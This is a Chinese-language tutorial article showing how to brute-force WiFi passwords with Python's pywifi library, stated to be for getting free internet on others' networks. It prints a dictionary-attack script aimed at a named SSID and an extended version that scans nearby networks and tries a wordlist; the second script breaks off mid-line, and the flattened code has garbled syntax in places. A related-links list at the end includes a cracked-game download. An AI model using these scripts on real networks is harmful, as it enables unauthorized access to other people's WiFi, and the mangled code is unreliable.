【python破解wifi密碼都有什么方法 python獲取wifi密碼】

前言本文將記錄學習下如何通過 Python 腳本實現 WIFI 密碼的暴力破解 , 從而實現免費蹭網 。
無圖形界面先來看看沒有圖形界面版的爆破腳本 。
WIFI爆破
私信小編01即可獲取大量Python學習資源
import pywififrom pywifi import constimport timeimport datetime# 測試連接 , 返回鏈接結果def wifiConnect(pwd):# 抓取網卡接口wifi = pywifi.PyWiFi()# 獲取第一個無線網卡ifaces = wifi.interfaces()[0]# 斷開所有連接ifaces.disconnect()time.sleep(1)wifistatus = ifaces.status()if wifistatus == const.IFACE_DISCONNECTED:# 創建WiFi連接文件profile = pywifi.Profile()# 要連接WiFi的名稱profile.ssid = "Tr0e"# 網卡的開放狀態profile.auth = const.AUTH_ALG_OPEN# wifi加密算法,一般wifi加密算法為wpsprofile.akm.append(const.AKM_TYPE_WPA2PSK)# 加密單元profile.cipher = const.CIPHER_TYPE_CCMP# 調用密碼profile.key = pwd# 刪除所有連接過的wifi文件ifaces.remove_all_network_profiles()# 設定新的連接文件tep_profile = ifaces.add_network_profile(profile)ifaces.connect(tep_profile)# wifi連接時間time.sleep(2)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已有wifi連接")# 讀取密碼本def readPassword():success = Falseprint("****************** WIFI破解 ******************")# 密碼本路徑path = "pwd.txt"# 打開文件file = open(path, "r")start = datetime.datetime.now()while True:try:pwd = file.readline()# 去除密碼的末尾換行符pwd = pwd.strip('\n')bool = wifiConnect(pwd)if bool:print("[*] 密碼已破解:", pwd)print("[*] WiFi已自動連接!!!")success = Truebreakelse:# 跳出當前循環 , 進行下一次循環print("正在破解 SSID 為 %s 的 WIFI密碼 , 當前校驗的密碼為:%s"%("Tr0e",pwd))except:continueend = datetime.datetime.now()if(success):print("[*] 本次破解WIFI密碼一共用了多長時間:{}".format(end - start))else:print("[*] 很遺憾未能幫你破解出當前指定WIFI的密碼 , 請更換密碼字典后重新嘗試!")exit(0)if __name__=="__main__":readPassword()代碼運行效果:腳本優化以上腳本需內嵌 WIFI 名、爆破字典路徑 , 缺少靈活性 。下面進行改造優化:
import pywifiimport timefrom pywifi import const# WiFi掃描模塊def wifi_scan():# 初始化wifiwifi = pywifi.PyWiFi()# 使用第一個無線網卡interface = wifi.interfaces()[0]# 開始掃描interface.scan()for i in range(4):time.sleep(1)print('\r掃描可用 WiFi 中 , 請稍后 。。。('str(3 - i), end=')')print('\r掃描完成!\n''-' * 38)print('\r{:4}{:6}{}'.format('編號', '信號強度', 'wifi名'))# 掃描結果 , scan_results()返回一個集 , 存放的是每個wifi對象bss = interface.scan_results()# 存放wifi名的集合wifi_name_set = set()for w in bss:# 解決亂碼問題wifi_name_and_signal = (100w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))wifi_name_set.add(wifi_name_and_signal)# 存入列表并按信號排序wifi_name_list = list(wifi_name_set)wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)num = 0# 格式化輸出while num < len(wifi_name_list):print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))num= 1print('-' * 38)# 返回wifi列表return wifi_name_list# WIFI破解模塊def wifi_password_crack(wifi_name):# 字典路徑wifi_dic_path = input("請輸入本地用于WIFI暴力破解的密碼字典(txt格式 , 每個密碼占據1行)的路徑:")with open(wifi_dic_path, 'r') as f:# 遍歷密碼for pwd in f:# 去除密碼的末尾換行符pwd = pwd.strip('\n')# 創建wifi對象wifi = pywifi.PyWiFi()# 創建網卡對象 , 為第一個wifi網卡interface = wifi.interfaces()[0]# 斷開所有wifi連接interface.disconnect()# 等待其斷開while interface.status() == 4:# 當其處于連接狀態時 , 利用循環等待其斷開pass# 創建連接文件(對象)profile = pywifi.Profile()# wifi名稱profile.ssid = wifi_name# 需要認證profile.auth = const.AUTH_ALG_OPEN# wifi默認加密算法profile.akm.append(const.AKM_TYPE_WPA2PSK)profile.cipher = const.CIPHER_TYPE_CCMP# wifi密碼profile.key = pwd# 刪除所有wifi連接文件interface.remove_all_network_profiles()# 設置新的wifi連接文件tmp_profile = interface.add_network_profile(profile)# 開始嘗試連接interface.connect(tmp_profile)start_time = time.time()while time.time() - start_time
推薦閱讀
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 面向對象 python python面向對象編程思維
- python貪吃蛇游戲代碼 Python實現自動玩貪吃蛇
- 小米電視怎么連接wifi 小米電視如何連接wifi
- 小編分享通過騰訊WiFi管家檢測附近風險WiFi的操作過程。
- python多圖合并成一張圖 Python實現多張圖片合成一張馬賽克圖片
- 怎么從b站上下載視頻 python爬b站視頻
- 軟件加密方法 python編寫加密程序
- WIFI網絡已連接 為什么wifi連接上卻不能上網
- wifi密碼怎么改 wifi怎么改密碼
- 007滅神輔助怎么設置,三國群英傳8破解版免steam版下載
